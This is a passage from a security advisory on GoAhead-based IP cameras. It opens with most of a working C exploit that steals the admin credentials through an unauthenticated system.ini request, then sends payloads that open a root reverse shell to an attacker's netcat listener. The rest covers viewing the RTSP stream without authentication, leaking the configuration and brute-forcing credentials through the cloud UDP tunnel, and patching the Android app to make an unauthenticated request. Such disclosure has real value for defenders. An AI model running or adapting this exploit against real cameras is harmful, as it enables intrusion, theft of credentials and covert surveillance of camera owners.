     printf(<span style="color: #BA2121">&quot;%s target</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>, argv[<span style="color: #666666">0</span>]);
     printf(<span style="color: #BA2121">&quot;%s target --get-config      will dump the configuration and exit</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>, argv[<span style="color: #666666">0</span>]);
     <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">1</span>);
  }

  <span style="color: #008000; font-weight: bold">if</span> (argc <span style="color: #666666">==</span> <span style="color: #666666">2</span>)
    printf(<span style="color: #BA2121">&quot;Please run `nc -vlp %s` on %s</span><span style="color: #BB6622; font-weight: bold">\n\n</span><span style="color: #BA2121">&quot;</span>, REMOTE_PORT, REMOTE_HOST);

  <span style="color: #008000; font-weight: bold">if</span> (argc <span style="color: #666666">==</span> <span style="color: #666666">3</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #666666">!</span>strcmp(argv[<span style="color: #666666">2</span>], <span style="color: #BA2121">&quot;--get-config&quot;</span>))
    id <span style="color: #666666">=</span> creds(argv[<span style="color: #666666">1</span>], <span style="color: #666666">1</span>);
  <span style="color: #008000; font-weight: bold">else</span>
    id <span style="color: #666666">=</span> creds(argv[<span style="color: #666666">1</span>], <span style="color: #666666">0</span>);

  <span style="color: #008000; font-weight: bold">if</span> (id <span style="color: #666666">==</span> <span style="color: #008000">NULL</span>)
  {
    printf(<span style="color: #BA2121">&quot;exploit failed</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">1</span>);
  }
  printf(<span style="color: #BA2121">&quot;done</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);

  printf(<span style="color: #BA2121">&quot;    login = %s</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>, id);
  printf(<span style="color: #BA2121">&quot;    pass  = %s</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>, id <span style="color: #666666">+</span> <span style="color: #666666">32</span>);

  <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span>rce(argv[<span style="color: #666666">1</span>], id, PAYLOAD_0, <span style="color: #BA2121">&quot;planting&quot;</span>))
    printf(<span style="color: #BA2121">&quot;done</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
  sleep(<span style="color: #666666">1</span>);
  <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span>rce(argv[<span style="color: #666666">1</span>], id, PAYLOAD_1, <span style="color: #BA2121">&quot;executing&quot;</span>))
    printf(<span style="color: #BA2121">&quot;done</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
  <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span>rce(argv[<span style="color: #666666">1</span>], id, PAYLOAD_2, <span style="color: #BA2121">&quot;cleaning&quot;</span>))
    printf(<span style="color: #BA2121">&quot;done</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
  <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span>rce(argv[<span style="color: #666666">1</span>], id, PAYLOAD_1, <span style="color: #BA2121">&quot;cleaning&quot;</span>))
    printf(<span style="color: #BA2121">&quot;done</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);

  printf(<span style="color: #BA2121">&quot;[+] enjoy your root shell on %s:%s</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>, REMOTE_HOST, REMOTE_PORT);

  <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">0</span>);
}


<span style="color: #B00040">char</span> <span style="color: #666666">*</span>    <span style="color: #0000FF">creds</span>(<span style="color: #B00040">char</span>  <span style="color: #666666">*</span>argv,
                <span style="color: #B00040">int</span>   get_config)
{
  <span style="color: #B00040">int</span>                 sock;
  <span style="color: #B00040">int</span>                 n;
  <span style="color: #008000; font-weight: bold">struct</span> sockaddr_in  serv_addr;
  <span style="color: #B00040">char</span>                buf[<span style="color: #666666">8192</span>] <span style="color: #666666">=</span> { <span style="color: #666666">0</span> };
  <span style="color: #B00040">char</span>                <span style="color: #666666">*</span>out;
  <span style="color: #B00040">char</span>                <span style="color: #666666">*</span>tmp;
  <span style="color: #B00040">char</span>                payload[] <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;GET /system.ini?loginuse&amp;loginpas HTTP/1.0</span><span style="color: #BB6622; font-weight: bold">\r\n\r\n</span><span style="color: #BA2121">&quot;</span>;
  <span style="color: #B00040">int</span>                 old_n;
  <span style="color: #B00040">int</span>                 n_total;


  sock <span style="color: #666666">=</span> <span style="color: #666666">0</span>;
  n <span style="color: #666666">=</span> <span style="color: #666666">0</span>;
  old_n <span style="color: #666666">=</span> <span style="color: #666666">0</span>;
  n_total <span style="color: #666666">=</span> <span style="color: #666666">0</span>;

  printf(<span style="color: #BA2121">&quot;[+] bypassing auth ... &quot;</span>);

  <span style="color: #008000; font-weight: bold">if</span> ((sock <span style="color: #666666">=</span> socket(AF_INET, SOCK_STREAM, <span style="color: #666666">0</span>)) <span style="color: #666666">&lt;</span> <span style="color: #666666">0</span>)
  {
    printf(<span style="color: #BA2121">&quot;Error while creating socket</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #008000">NULL</span>);
  }

  memset(<span style="color: #666666">&amp;</span>serv_addr, <span style="color: #BA2121">&#39;0&#39;</span>, <span style="color: #008000; font-weight: bold">sizeof</span>(serv_addr));
  serv_addr.sin_family <span style="color: #666666">=</span> AF_INET;
  serv_addr.sin_port <span style="color: #666666">=</span> htons(CAM_PORT);

  <span style="color: #008000; font-weight: bold">if</span> (inet_pton(AF_INET, argv, <span style="color: #666666">&amp;</span>serv_addr.sin_addr) <span style="color: #666666">&lt;=</span> <span style="color: #666666">0</span>)
  {
    printf(<span style="color: #BA2121">&quot;Error while inet_pton</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #008000">NULL</span>);
  }

  <span style="color: #008000; font-weight: bold">if</span> (connect(sock, (<span style="color: #008000; font-weight: bold">struct</span> sockaddr <span style="color: #666666">*</span>)<span style="color: #666666">&amp;</span>serv_addr , <span style="color: #008000; font-weight: bold">sizeof</span>(serv_addr)) <span style="color: #666666">&lt;</span> <span style="color: #666666">0</span>)
  {
    printf(<span style="color: #BA2121">&quot;creds: connect failed</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #008000">NULL</span>);
  }

  <span style="color: #008000; font-weight: bold">if</span> (send(sock, payload, strlen(payload) , <span style="color: #666666">0</span>) <span style="color: #666666">&lt;</span> <span style="color: #666666">0</span>)
  {
    printf(<span style="color: #BA2121">&quot;creds: send failed</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #008000">NULL</span>);
  }

  <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span>(tmp <span style="color: #666666">=</span> malloc(<span style="color: #666666">10</span> <span style="color: #666666">*</span> <span style="color: #666666">1024</span> <span style="color: #666666">*</span> <span style="color: #008000; font-weight: bold">sizeof</span>(<span style="color: #B00040">char</span>))))
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #008000">NULL</span>);

  <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span>(out <span style="color: #666666">=</span> calloc(<span style="color: #666666">64</span>, <span style="color: #008000; font-weight: bold">sizeof</span>(<span style="color: #B00040">char</span>))))
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #008000">NULL</span>);

  <span style="color: #008000; font-weight: bold">while</span> ((n <span style="color: #666666">=</span> recv(sock, buf, <span style="color: #008000; font-weight: bold">sizeof</span>(buf), <span style="color: #666666">0</span>)) <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>)
  {
    n_total <span style="color: #666666">+=</span> n;
    <span style="color: #008000; font-weight: bold">if</span> (n_total <span style="color: #666666">&lt;</span> <span style="color: #666666">1024</span> <span style="color: #666666">*</span> <span style="color: #666666">10</span>)
      memcpy(tmp <span style="color: #666666">+</span> old_n, buf, n);
    <span style="color: #008000; font-weight: bold">if</span> (n <span style="color: #666666">&gt;=</span> <span style="color: #666666">0</span>)
      old_n <span style="color: #666666">=</span> n;
  }

  close(sock);

  <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">  [ HTTP HEADERS ]</span>
<span style="color: #408080; font-style: italic">  ...</span>

<span style="color: #408080; font-style: italic">  000????: 0000 0a0a 0a0a 01.. .... .... .... ....</span>
<span style="color: #408080; font-style: italic">                ^^^^ ^^^^ ^^</span>
<span style="color: #408080; font-style: italic">                Useful reference in the binary data</span>
<span style="color: #408080; font-style: italic">                in order to to find the positions of</span>
<span style="color: #408080; font-style: italic">                credentials</span>
<span style="color: #408080; font-style: italic">  ...</span>
<span style="color: #408080; font-style: italic">  ... </span>
<span style="color: #408080; font-style: italic">  0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........</span>
<span style="color: #408080; font-style: italic">  00006a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................</span>
<span style="color: #408080; font-style: italic">  00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........</span>
<span style="color: #408080; font-style: italic">  00006c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................</span>
<span style="color: #408080; font-style: italic">  ...</span>

<span style="color: #408080; font-style: italic">  NOTE: reference can be too:</span>
<span style="color: #408080; font-style: italic">  000????: 0006 0606 0606 0100 000a .... .... ....</span>

<span style="color: #408080; font-style: italic">  Other method: parse everything, find the &quot;admin&quot; string and extract the associated password</span>
<span style="color: #408080; font-style: italic">  by adding 31bytes after the address of &#39;a&#39;[dmin].</span>
<span style="color: #408080; font-style: italic">  Works if the login is admin (seems to be this by default, but can be changed by the user)</span>
<span style="color: #408080; font-style: italic">  */</span>

  <span style="color: #008000; font-weight: bold">if</span> (get_config)
  {
    <span style="color: #008000; font-weight: bold">for</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">int</span> j <span style="color: #666666">=</span> <span style="color: #666666">0</span>; j <span style="color: #666666">&lt;</span> n_total <span style="color: #666666">&amp;&amp;</span> j <span style="color: #666666">&lt;</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> <span style="color: #666666">1024</span>; j<span style="color: #666666">++</span>)
      printf(<span style="color: #BA2121">&quot;%c&quot;</span>, tmp[j]);
    exit (<span style="color: #666666">0</span>);
  }


  <span style="color: #008000; font-weight: bold">for</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">int</span> j <span style="color: #666666">=</span> <span style="color: #666666">50</span>; j <span style="color: #666666">&lt;</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> <span style="color: #666666">1024</span>; j<span style="color: #666666">++</span>)
  {
     <span style="color: #008000; font-weight: bold">if</span> (tmp[j <span style="color: #666666">-</span> <span style="color: #666666">4</span>] <span style="color: #666666">==</span> <span style="color: #666666">0x0a</span> <span style="color: #666666">&amp;&amp;</span>
         tmp[j <span style="color: #666666">-</span> <span style="color: #666666">3</span>] <span style="color: #666666">==</span> <span style="color: #666666">0x0a</span> <span style="color: #666666">&amp;&amp;</span>
         tmp[j <span style="color: #666666">-</span> <span style="color: #666666">2</span>] <span style="color: #666666">==</span> <span style="color: #666666">0x0a</span> <span style="color: #666666">&amp;&amp;</span>
         tmp[j <span style="color: #666666">-</span> <span style="color: #666666">1</span>] <span style="color: #666666">==</span> <span style="color: #666666">0x0a</span> <span style="color: #666666">&amp;&amp;</span>
         tmp[j]     <span style="color: #666666">==</span> <span style="color: #666666">0x01</span>)
     {
       <span style="color: #008000; font-weight: bold">if</span> (j <span style="color: #666666">+</span> <span style="color: #666666">170</span> <span style="color: #666666">&lt;</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> <span style="color: #666666">1024</span>)
       {
         strcat(out, <span style="color: #666666">&amp;</span>tmp[j <span style="color: #666666">+</span> <span style="color: #666666">138</span>]);
         strcat(out <span style="color: #666666">+</span> <span style="color: #666666">32</span> <span style="color: #666666">*</span> <span style="color: #008000; font-weight: bold">sizeof</span>(<span style="color: #B00040">char</span>), <span style="color: #666666">&amp;</span>tmp[j <span style="color: #666666">+</span> <span style="color: #666666">170</span>]);
         free(tmp);

         <span style="color: #008000; font-weight: bold">return</span> (out);
       }
     }
  }

  free(tmp);

  <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #008000">NULL</span>);
}

<span style="color: #B00040">int</span>       <span style="color: #0000FF">rce</span>(<span style="color: #B00040">char</span>    <span style="color: #666666">*</span>argv,
              <span style="color: #B00040">char</span>    <span style="color: #666666">*</span>id,
              <span style="color: #B00040">char</span>    attack[],
              <span style="color: #B00040">char</span>    desc[])
{
  <span style="color: #B00040">int</span>                 sock;
  <span style="color: #008000; font-weight: bold">struct</span> sockaddr_in  serv_addr;
  <span style="color: #B00040">char</span>                <span style="color: #666666">*</span>payload;

  <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span>(payload <span style="color: #666666">=</span> calloc(<span style="color: #666666">512</span>, <span style="color: #008000; font-weight: bold">sizeof</span>(<span style="color: #B00040">char</span>))))
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">1</span>);

  sock <span style="color: #666666">=</span> <span style="color: #666666">0</span>;

  printf(<span style="color: #BA2121">&quot;[+] %s payload ... &quot;</span>, desc);

  <span style="color: #008000; font-weight: bold">if</span> ((sock <span style="color: #666666">=</span> socket(AF_INET, SOCK_STREAM, <span style="color: #666666">0</span>)) <span style="color: #666666">&lt;</span> <span style="color: #666666">0</span>)
  {
    printf(<span style="color: #BA2121">&quot;Error while creating socket</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">1</span>);
  }

  memset(<span style="color: #666666">&amp;</span>serv_addr, <span style="color: #BA2121">&#39;0&#39;</span>, <span style="color: #008000; font-weight: bold">sizeof</span>(serv_addr));
  serv_addr.sin_family <span style="color: #666666">=</span> AF_INET;
  serv_addr.sin_port <span style="color: #666666">=</span> htons(CAM_PORT);

  <span style="color: #008000; font-weight: bold">if</span> (inet_pton(AF_INET, argv, <span style="color: #666666">&amp;</span>serv_addr.sin_addr) <span style="color: #666666">&lt;=</span> <span style="color: #666666">0</span>)
  {
    printf(<span style="color: #BA2121">&quot;Error while inet_pton</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">1</span>);
  }

  <span style="color: #008000; font-weight: bold">if</span> (connect(sock, (<span style="color: #008000; font-weight: bold">struct</span> sockaddr <span style="color: #666666">*</span>)<span style="color: #666666">&amp;</span>serv_addr , <span style="color: #008000; font-weight: bold">sizeof</span>(serv_addr)) <span style="color: #666666">&lt;</span> <span style="color: #666666">0</span>)
  {
    printf(<span style="color: #BA2121">&quot;rce: connect failed</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">1</span>);
  }


  sprintf(payload, attack, id, id <span style="color: #666666">+</span> <span style="color: #666666">32</span>);
  <span style="color: #008000; font-weight: bold">if</span> (send(sock, payload, strlen(payload) , <span style="color: #666666">0</span>) <span style="color: #666666">&lt;</span> <span style="color: #666666">0</span>)
  {
    printf(<span style="color: #BA2121">&quot;rce: send failed</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>);
    <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">1</span>);
  }

  <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">0</span>);
}
</pre></div>

<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/expl-goahead-camera.c">https://pierrekim.github.io/advisories/expl-goahead-camera.c</a>.</p>
<p><a id="open-streaming"></a></p>
<h2>Details -- CVE-2017-8223 - Misc - Streaming without authentication</h2>
<p>An attacker can use the authenticated-less RTSP server running on the camera on port <code>10554/tcp</code> to watch the streaming without authentication.</p>
<pre><code>user@kali$ vlc rstp://192.168.1.107:10554/tcp/av0_1
</code></pre>
<p>And:</p>
<pre><code>user@kali$ vlc rstp://192.168.1.107:10554/tcp/av0_0
</code></pre>
<p><a id="cloud"></a></p>
<h2>Details -- CVE-2017-8221 -- Misc - "Cloud" (Aka Botnet)</h2>
<p>By default, the camera uses a 'Cloud' functionality.</p>
<p>You can tcpdump the traffic of the camera, which is very scary:</p>
<pre><code>12:09:21.410947 IP 192.168.1.107.46958 &gt; 8.8.8.8.53: 60806+ A? openapi.xg.qq.com.gateway. (43)
12:09:26.429697 IP 192.168.1.107.58156 &gt; 202.96.134.33.53: 60806+ A? openapi.xg.qq.com.gateway. (43)
12:09:31.450033 IP 192.168.1.107.41499 &gt; 8.8.8.8.53: 28561+ A? www.baidu.com. (31)
12:09:35.128919 IP 192.168.1.107.13179 &gt; 121.42.208.86.32100: UDP, length 48
12:09:35.128932 IP 192.168.1.107.13179 &gt; 54.221.213.97.32100: UDP, length 48
12:09:35.128933 IP 192.168.1.107.13179 &gt; 120.24.37.48.32100: UDP, length 48
12:09:36.468849 IP 192.168.1.107.44185 &gt; 202.96.134.33.53: 28561+ A? www.baidu.com. (31)
12:09:41.488223 IP 192.168.1.107.41499 &gt; 8.8.8.8.53: 28561+ A? www.baidu.com. (31)
12:09:46.507810 IP 192.168.1.107.44185 &gt; 202.96.134.33.53: 28561+ A? www.baidu.com. (31)
12:09:51.527501 IP 192.168.1.107.47793 &gt; 8.8.8.8.53: 33930+ A? www.baidu.com.gateway. (39)
12:09:56.546854 IP 192.168.1.107.53618 &gt; 202.96.134.33.53: 33930+ A? www.baidu.com.gateway. (39)
12:10:01.566316 IP 192.168.1.107.47793 &gt; 8.8.8.8.53: 33930+ A? www.baidu.com.gateway. (39)
12:10:06.575735 ARP, Request who-has 192.168.1.1 tell 192.168.1.107, length 46
12:10:06.575750 ARP, Reply 192.168.1.1 is-at 00:e0:4c:51:55:ed, length 28
12:10:06.585841 IP 192.168.1.107.53618 &gt; 202.96.134.33.53: 33930+ A? www.baidu.com.gateway. (39)
12:10:11.606030 IP 192.168.1.107.46252 &gt; 8.8.8.8.53: 41046+ A? time.nist.gov. (31)
12:10:16.625044 IP 192.168.1.107.44109 &gt; 202.96.134.33.53: 41046+ A? time.nist.gov. (31)
12:10:19.214687 IP 192.168.1.107.13179 &gt; 121.42.208.86.32100: UDP, length 48
12:10:19.214700 IP 192.168.1.107.13179 &gt; 54.221.213.97.32100: UDP, length 48
12:10:19.214702 IP 192.168.1.107.13179 &gt; 120.24.37.48.32100: UDP, length 48
12:10:21.644397 IP 192.168.1.107.46252 &gt; 8.8.8.8.53: 41046+ A? time.nist.gov. (31)
</code></pre>
<p>The camera tries to resolve <code>www.baidu.com</code>, <code>openapi.xg.qq.com</code>, contacts hardcoded IPs and hosts:</p>
<ul>
<li><code>121.42.208.86:32100/udp</code> (CN: Alibaba),</li>
<li><code>54.221.213.97:32100/udp</code> (AWS US),</li>
<li><code>120.24.37.48:32100/udp</code> (CN: Alibaba),</li>
<li><code>www.baidu.com:80/tcp</code> (CN: Baidu).</li>
</ul>
<p>It appears this is the 'Cloud' functionality, enabled by default. The security of this functionality is not proven.</p>
<p>The provided Android application to manage my camera is <a href="https://play.google.com/store/apps/details?id=object.p2pwificam.client">object.p2pwificam.client.apk</a>.</p>
<p><img src="images/2017-cam-p2pwificam-0.png">
<img src="images/2017-cam-p2pwificam-1.png"></p>
<p>Netcam 360 works too:</p>
<p><img src="images/2017-cam-netcam.png"></p>
<p>It appears, the network protocol is very weak:</p>
<ol>
<li>the camera contacts a remote server using UDP,</li>
<li>the application contacts a remote server using UDP,</li>
<li>the application sends a request to the remote server, asking if the camera with the specific serial-number is online,</li>
<li>the server will reply by "camera doesn't exit", "camera is offline" or "camera is online",</li>
<li>if the camera is online, a UDP tunnel is automaticaly established between the application and the camera, using the Cloud server as a relay.</li>
</ol>
<h3>UDP tunnel:</h3>
<pre><code>[Android Application] &lt;===UDP===&gt; Cloud server &lt;===UDP===&gt; [Camera]
</code></pre>
<p>Then, the UDP tunnel is used by the application to reach the camera:</p>
<p>1/ the client will send a HTTP request to the camera with the credentials (still in clear-text)</p>
<pre><code>GET check_user.cgi?&amp;loginuse=admin&amp;loginpas=admin&amp;user=admin&amp;pwd=admin&amp;
</code></pre>
<p>or </p>
<pre><code>GET /check_user.cgi?&amp;loginuse=admin&amp;loginpas=admin&amp;user=admin&amp;pwd=admin&amp;
</code></pre>
<p>2/ the camera will reply by using HTTP over UDP whenever the credentials are valid or invalid.</p>
<p>If the credentials are valid, the camera will reply:</p>
<pre><code>result= 0;
</code></pre>
<p>If the credentials are not valid, the camera will reply:</p>
<pre><code>result=-1
</code></pre>
<p>3/ if the credentials are valid, then the application will send HTTP requests to .cgi files hosted by the camera by appending credentials to the requests (<code>?loginuse=valid_user&amp;loginpas=valid_pass</code>)</p>
<h3>Step 2 in detail:</h3>
<p>If the authentication is OK, so it is alright to dump all the configuration in cleartext!</p>
<p><img alt="" src="images/2017-cam-cloud-auth-ok.png" /></p>
<p>Note: this trace was done with one of the application listed below, to be sure applications are sharing the same "cloud" network  (it appears the daemon running on the camera doesn't strictly respect the HTTP protocol - note the lack of <code>/</code> - but it works !).</p>
<p>If the authentication is not OK. The cameras answers:</p>
<pre><code>result=-1;
</code></pre>
<p>Due to the absence of checking, an attacker can simply bruteforce credentials.</p>
<p><img alt="" src="images/2017-cam-cloud-auth-fail.png" /></p>
<h3>Step 3 in detail:</h3>
<p>The application sends:</p>
<pre><code>GET get_params.cgi?&amp;loginuse=admin&amp;loginpas=admin&amp;user=admin&amp;pwd=admin&amp;
</code></pre>
<p>OR</p>
<pre><code>GET /get_params.cgi?&amp;loginuse=admin&amp;loginpas=admin&amp;user=admin&amp;pwd=admin&amp;
</code></pre>
<p>The camera replies by sending all its configuration in clear-text:</p>
<pre><code>var now=1122211111;
var dst_enable=0;
var dst_time=0;
var tz=0;
var ntp_enable=1;
var ntp_svr="time.nist.gov";
var dhcpen=1;
var ip="192.168.2.76";
var mask="255.255.255.0";
var gateway="192.168.2.1";
var dns1="8.8.8.8";
var dns2="192.168.2.1";
var port=80;
var nashost="";
var nasport=0;
var dev2_host="";
var dev2_alias="";
var dev2_user="";
var dev2_pwd="";
var dev2_port=0;
var dev3_host="";
var dev3_alias="";
var dev3_user="";
var dev3_pwd="";
var dev3_port=0;
var dev4_host="";
var dev4_alias="";
var dev4_user="";
var dev4_pwd="";
var dev4_port=0;
var dev5_host="";
var dev5_alias="";
var dev5_user="";
var dev5_pwd="";
var dev5_port=0;
var dev6_host="";
var dev6_alias
[...]
var user1_name="";
var user1_pwd="";
var user2_name="wut";
var user2_pwd="wut";
var user3_name="admin";
var user3_pwd="admin";
[...]
</code></pre>
<p>This is interesting because an attacker can reach a camera only by knowing a serial number. The UDP tunnel between the attacker and the camera is established even if the attacker doesn't know the credentials. It's useful to note the tunnel bypasses NAT and firewall, allowing the attacker to reach internal cameras (if they are connected to the Internet) and to bruteforce credentials.
Then, the attacker can just try to bruteforce credentials of the camera:</p>
<pre><code>GET /get_params.cgi?&amp;loginuse=admin&amp;loginpas=TEST&amp;user=admin&amp;pwd=TEST&amp;
</code></pre>
<p>This protocol appears to be common to a lot of Android applications, ie:</p>
<ul>
<li><a href="https://play.google.com/store/apps/details?id=object.p2pwificam.client">object.p2pwificam.client</a>  (500.000 - 1.000.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=hsl.p2pipcam">hsl.p2pipcam</a> (100.000 - 500.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=object.liouzx.client">object.liouzx.client</a>  (100.000 - 500.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=object.lioupp.client">object.lioupp.client</a> (100.000 - 500.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=com.g_zhang.myp2pcam">com.g_zhang.myp2pcam</a> (100.000 - 500.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=object.aisaidezx.client">object.aisaidezx.client</a> (50.000 - 100.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=hsl.cam360">hsl.cam360</a>  (10.000 - 50.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=bravocam.p2pipcam">bravocam.p2pipcam</a> (10.000 - 50.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=xcam.p2pipcam">xcam.p2pipcam</a> (10.000 - 50.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=snugcam.p2pipcam">snugcam.p2pipcam</a> (10.000 - 50.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=myview.p2pipcam">myview.p2pipcam</a> (5.000 - 10.000 installations) </li>
<li><a href="https://play.google.com/store/apps/details?id=object.weimaisizx.client">object.weimaisizx.client</a> (10.000 - 50.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=com.tutk.P2PCamLive.Pixord">com.tutk.P2PCamLive.Pixord</a> (10.000 - 50.000 installations)</li>
<li><a href="https://play.google.com/store/apps/details?id=object.p2pnetwork.client">object.p2pnetwork.client</a> (5.000 - 10.000 installations)</li>
</ul>
<p>This list is very far from being complete.</p>
<p>So, I modified the original Android Application in order to try the pre-auth Info-Leak vulnerability:</p>
<pre><code>k% ls -la
total 14912
drwx------ 2 nobody nogroup     100 Mar  7 08:27 .
drwxrwxrwt 3 root   root        140 Mar  7 08:25 ..
-rwx------ 1 nobody nogroup    2319 Mar  7 08:25 apktool
-rwx------ 1 nobody nogroup 8488199 Mar  7 08:25 apktool.jar
-rwx------ 1 nobody nogroup 6773051 Mar  7 08:25 object.p2pwificam.client.apk
k% ./apktool d object.p2pwificam.client.apk
I: Using Apktool 2.2.2 on object.p2pwificam.client.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
S: WARNING: Could not write to $HOME (/nonexistent), using /tmp instead...
S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable
I: Loading resource table from file: /tmp/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
k%
</code></pre>
<p>I edit the library which manages all the custom HTTP requests.</p>
<p>One of the interesting string is <code>GET /%sloginuse=%s&amp;loginpas=%s&amp;user=%s&amp;pwd=%s</code>:</p>
<pre><code>k% xxd ./object.p2pwificam.client/lib/armeabi/libobject_jni.so

0001f650: 3d3d 3d3d 3d3d 3d3d 0000 0000 4745 5420  ========....GET 
0001f660: 2f25 736c 6f67 696e 7573 653d 2573 266c  /%sloginuse=%s&amp;l
0001f670: 6f67 696e 7061 733d 2573 2675 7365 723d  oginpas=%s&amp;user=
0001f680: 2573 2670 7764 3d25 7326 0000 4449 443a  %s&amp;pwd=%s&amp;..DID:
0001f690: 2025 732c 2063 6769 5f67 6574 5f63 6f6d   %s, cgi_get_com
0001f6a0: 6d6f 6e3a 2025 7300 5050 5050 5f43 6f6e  mon: %s.PPPP_Con
0001f6b0: 6e65 6374 2062 6567 696e 2e2e 2e25 7300  nect begin...%s.
0001f6c0: 5050 5050 5f43 6f6e 6e65 6374 2066 6169  PPPP_Connect fai
0001f6d0: 6c65 642e 2e20 2573 2072 6574 7572 6e3a  led.. %s return:
0001f6e0: 2025 6400 5265 436f 6e6e 6563 7443 6f75   %d.ReConnectCou
0001f6f0: 6e74 3a20 2564 0a00 5050 5050 5f43 6f6e  nt: %d..PPPP_Con
0001f700: 6e65 6374 2073 7563 6365 7373 2e2e 2e6d  nect success...m
0001f710: 5f68 5365 7373 696f 6e48 616e 646c 653a  _hSessionHandle:
</code></pre>
<p>After the modification:</p>
<pre><code>0001f650: 3d3d 3d3d 3d3d 3d3d 0000 0000 4745 5420  ========....GET 
0001f660: 2f73 7973 7465 6d2e 696e 693f 6c6f 6769  /system.ini?logi
0001f670: 6e75 7365 266c 6f67 696e 7061 7373 2678  nuse&amp;loginpass&amp;x
0001f680: 7878 7878 7878 7878 7826 0000 4449 443a  xxxxxxxxx&amp;..DID:
0001f690: 2025 732c 2063 6769 5f67 6574 5f63 6f6d   %s, cgi_get_com
0001f6a0: 6d6f 6e3a 2025 7300 5050 5050 5f43 6f6e  mon: %s.PPPP_Con
0001f6b0: 6e65 6374 2062 6567 696e 2e2e 2e25 7300  nect begin...%s.
0001f6c0: 5050 5050 5f43 6f6e 6e65 6374 2066 6169  PPPP_Connect fai
</code></pre>
<p>Then, let's repack and sign the .apk:</p>
<pre><code>k% ./apktool b object.p2pwificam.client
I: Using Apktool 2.2.2
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building resources...
S: WARNING: Could not write to $HOME (/nonexistent), using /tmp instead...
S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable
W: warning: string 'conectar' has no default translation.
W: warning: string 'str_ipcamfour' has no default translation.
W: warning: string 'user_pwd_no_show' has no default translation.
I: Copying libs... (/lib)
I: Building apk file...
I: Copying unknown files/dir...
